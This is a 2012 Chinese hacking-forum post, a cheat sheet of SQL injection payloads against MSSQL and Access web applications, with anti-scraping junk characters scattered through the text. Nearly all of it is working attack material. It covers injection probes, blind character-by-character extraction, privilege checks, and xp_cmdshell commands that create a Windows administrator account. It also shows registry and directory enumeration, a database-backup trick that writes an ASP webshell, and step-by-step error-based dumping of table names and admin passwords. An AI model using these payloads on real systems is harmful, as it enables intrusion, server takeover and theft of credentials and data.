找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1811|回复: 0
打印 上一主题 下一主题

SQL注入常用语句

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:31:51 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1.判断是否有注入 , _6 I4 S3 ^; ~1 h. C1 F
;and 1=1
# `& B: J: L2 };and 1=2
8 n1 J8 G( z& K4 M% x7 w8 _& t
) Y0 p2 h3 _: j1 c2.初步判断是否是mssql
* Y* w- G' p; S; R1 Q0 q;and user>0 7 G2 O) @" W4 K* @- d
/ W3 R# s0 \8 b. n
3.判断数据库系统
( r: d7 t  Z. I8 r. w' G;and (select count(*) from sysobjects)>0 mssql   x( h2 ?$ k4 Z* O) \+ X
;and (select count(*) from msysobjects)>0 access
. Z+ q# [# `- p/ j0 }* a+ s/ `, c& J/ W1 M
4.注入参数是字符
. z) I8 u; W2 u% c: B'and [查询条件] and ''=' 5 [) g! O0 ~! l5 H/ d
% S5 h$ Q* E) \8 m. P
5.搜索时没过滤参数的
* R% w9 ]4 N9 E  J" T6 O& I0 k) j'and [查询条件] and '%25'=' 2 y0 D# K  |2 @' q

/ ?, Z, H. a( {4 v6 P; R- J6.猜数表名 % Q2 I/ ]0 P1 m2 l+ h5 a( I
;and (select Count(*) from [表名])>0
; u& G, l6 Z* Y: S
+ B4 g: d8 N9 W/ b9 b7 w5 {7.猜字段 , \9 r/ u! m! d, k
;and (select Count(字段名) from 表名)>0 , e/ w$ ^  K5 K2 _6 N9 b
9 M( t2 a9 n$ e+ o3 t! k; p  X
8.猜字段中记录长度 $ P( x& x) ]. J' b
;and (select top 1 len(字段名) from 表名)>0
1 O7 R& L3 R) ^
) J1 w( f  S+ |$ n1 ~" ?! e7 }1 w9.(1)猜字段的ascii值(access)
8 d# N7 f, p, O9 p. n;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0 : u# X- f; c6 j" t

" \9 P+ V! h0 ^(2)猜字段的ascii值(mssql) ! s: j; F( a# v( a
;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0 ! x4 v2 J( {6 u8 Y3 {8 `8 j4 {6 u1 p

  C  I2 L5 J' q2 l' Y( ^10.测试权限结构(mssql)
; D& R) z0 e) d) n  E" Y2 H  y! ]3 U;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
" K6 h4 M4 }; U/ p) y* v/ L3 e% M4 U;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- : r, N8 i  E" A. {# g! W! s
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- , k, L5 X& t8 F" J+ c9 p
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
; N% w# T* x% S$ K+ n5 ]+ X;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 2 l5 I! \# U8 r8 Q/ R
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
8 Q6 V9 z- u  Z8 b/ P;and 1=(select IS_MEMBER('db_owner'));--
3 h8 s' [" n+ e  [# o. G( ?! z
11.添加mssql和系统的帐户
3 `& Y- @; U+ f! ]% X9 f* ~* n;exec master.dbo.sp_addlogin username;-- ! q7 s- s) S% ~. b0 x# E( @
;exec master.dbo.sp_password null,username,password;--
2 v% A& g* u: T; \;exec master.dbo.sp_addsrvrolemember sysadmin username;--
5 [& p, q) N5 k% ?;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
4 ^) P& G) O- v* ~: H& l;exec master.dbo.xp_cmdshell 'net user username password /add';-- : g# ]1 B0 V# D6 Y
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
9 H2 S6 |! |. N# P
- g% V. z- z4 b6 X12.(1)遍历目录
8 v0 X4 w4 @' q;create table dirs(paths varchar(100), id int) % T. N  |* x4 v/ R; _
;insert dirs exec master.dbo.xp_dirtree 'c:\' # ^3 |, m9 Q. @# v9 {. a7 S
;and (select top 1 paths from dirs)>0
3 e( x. X) [1 h;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) ( _& P& }, t7 S* J. R! m' {1 O

/ o2 \2 @! @: j) o(2)遍历目录 / C; Z7 ]% ], m
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 2 X& u5 g9 R- @9 [! o5 Y) }2 U) ~% D. A
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 5 t" L& C6 _1 t6 z( x7 w+ w
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
( G2 ]! N2 }' P1 c# s0 B: J;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构
3 q* @! Q8 z5 U* ^( D/ r;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
/ u( _3 Q9 I! p* h( z
5 s" n  @# M. P: h13.mssql中的存储过程 # n; T# F. ~6 J6 n
xp_regenumvalues 注册表根键, 子键 / B1 {- I- L) t0 G
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 ' H% ]: U# @+ v" q) c5 o, p5 d5 `
xp_regread 根键,子键,键值名
2 }0 ?' X. f2 l. q$ d;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
. d- T( W( [' j# U1 ~! h$ vxp_regwrite 根键,子键, 值名, 值类型, 值 5 r* q+ J5 A6 A; w
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 2 U2 b# b# i5 v. e" R3 o- M, X/ r
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表 / c8 L" S! K' l3 |
xp_regdeletevalue 根键,子键,值名
) U1 @; ?4 ~% P% g% Eexec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值
  H( J4 C' h4 b; n% m1 W& }xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
% K8 N* `9 B6 L; ^/ u0 M3 m) d8 ?7 n: C0 [+ a8 ^& X5 X
14.mssql的backup创建webshell
5 D5 S# s% C3 ?/ s. Y% y, G& Guse model
' ~1 L) u& }  L. f5 ?create table cmd(str image); 8 R, ^9 {( H, C. ~3 |
insert into cmd(str) values ('<% Dim oScript %>');
0 S5 K' n% z7 R: a: @backup database model to disk='c:\l.asp';
+ J- V5 O# `* l2 o: P3 o4 Z$ C! t3 _" O: |1 N
15.mssql内置函数
4 \: M. v* H" r3 D. a;and (select @@version)>0 获得Windows的版本号 8 ]- @- ?7 M8 u% ~( f: [
;and user_name()='dbo' 判断当前系统的连接用户是不是sa * w7 t" Q5 W; e' E1 X! U8 G
;and (select user_name())>0 爆当前系统的连接用户 & Z" T' y7 ~0 }/ Q: c# A4 [
;and (select db_name())>0 得到当前连接的数据库
0 r( Y1 D; ^; B$ [% L  V
1 H( A- w. E, ?! q
3 R; T+ X) o: N! \( }; X$ B0 T1 U
MSSQL手注暴库
. d9 ~0 q1 ?4 v5 S9 G/ A& C: n, m% ~. @- |# x9 {4 u: v* ~
1.暴出当前表名和列名
8 n) M1 `# w. P, t: z在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。. G2 w# K5 k+ e8 P$ H
/ u/ k) k8 _8 h9 Y
第一.爆出所有数据库名: X8 W$ s( d* r) T# V# f( y. B
利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。" E# O; x& U0 C: P
第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。
, m  B; v$ J+ ]3 l
; k5 z! b2 z9 R5 C4 j: Band 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])--  修改N从6开始爆出所有数据库名
# f  ?' w; a) a, Z; h% o' _
6 O& m! l! g3 D  {% f/ o) I: s! F1 A# E+ s7 E) \, m  s
第二.爆出指定库中的所有表名# M( t  J, Z0 G2 U& U
得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。' l& i4 r7 b: v0 ?9 W9 W0 ~4 N1 L
再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。
" L9 }4 O+ S  a! h5 z( h* i- ]' Q% B9 R7 @% z
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--; N8 T' T4 m, |/ A4 E
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--
* g& x  U1 x' A( I4 u9 @and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--
8 h( }# B5 E9 j8 y3 N& b; u7 w* ^
) {! K+ T2 r) r: K4 F& @4.爆出指定表中的所有列名7 y( h0 f0 b# C- e4 ]$ e' v
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id)))
3 M" y( R" i. z4 Z: k7 |//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421  name='表名'7 R& ?; r4 h! l1 _

0 y1 N' f( h( q/ Z+ ?( Q4 E( N" Oand 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)--  爆出admin表中的一个字段名
3 ?# r# K2 K- }, _
9 Q8 F% p& ~* p& [5 u; I7 x再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))-- ( g* E# l( {% |. A* ^
依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。; g: N' C/ J- n* Y9 t0 _
* R4 }9 P. ^# S4 ]% D

7 M5 k* C; w8 Xand 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))--  爆出要爆字段的表名id值% X$ d# S5 _4 \7 b

+ C: a' {# [6 Cand 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名) `. R. t2 T$ s/ n5 N! X6 |

) \# U1 W- A: B! n1 Xand 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))--
7 `8 n% D" f3 ~
4 d/ A. _& R- P6 ?3 B
& c5 U- e  L, b/ X. o. _* Z  [" G: [! s( x
5.读取指定表中的数据
# C$ _8 p; y4 s- p% C9 Q( B
6 _6 j- r- J2 U" b3 w4 Iand 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容 , ^& R2 t3 `; [% }# C
) [2 `8 y. p# N7 H9 |3 D
and 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--8 _( @/ M3 O8 S. U
+ p# S) s- i% ~( }8 }
and 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码
- ]$ I# U7 }* a% o$ R  P3 N1 Q+ q9 I4 S2 e- H) Y  e! W* p
1 J' I, O3 @7 T  J5 e- Z, h$ P: C# a
and 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)--  爆出id<>1的管理员名字(fuhao)! Z) i/ W' r: @" u0 z6 S4 C3 W
+ D- g8 F4 r/ K' r5 S3 Y9 J
and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)
& j1 J* J  [7 ^6 Q
4 P! M! i: Z6 i8 \2 j8 fand 0<(Select Top 1 A_UserID FROM admin where  A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--( D' Q+ U" B0 ^( G4 c

+ u2 n" i1 y& H( l知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。
: `" I+ ]' ~, u/ Y, q
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表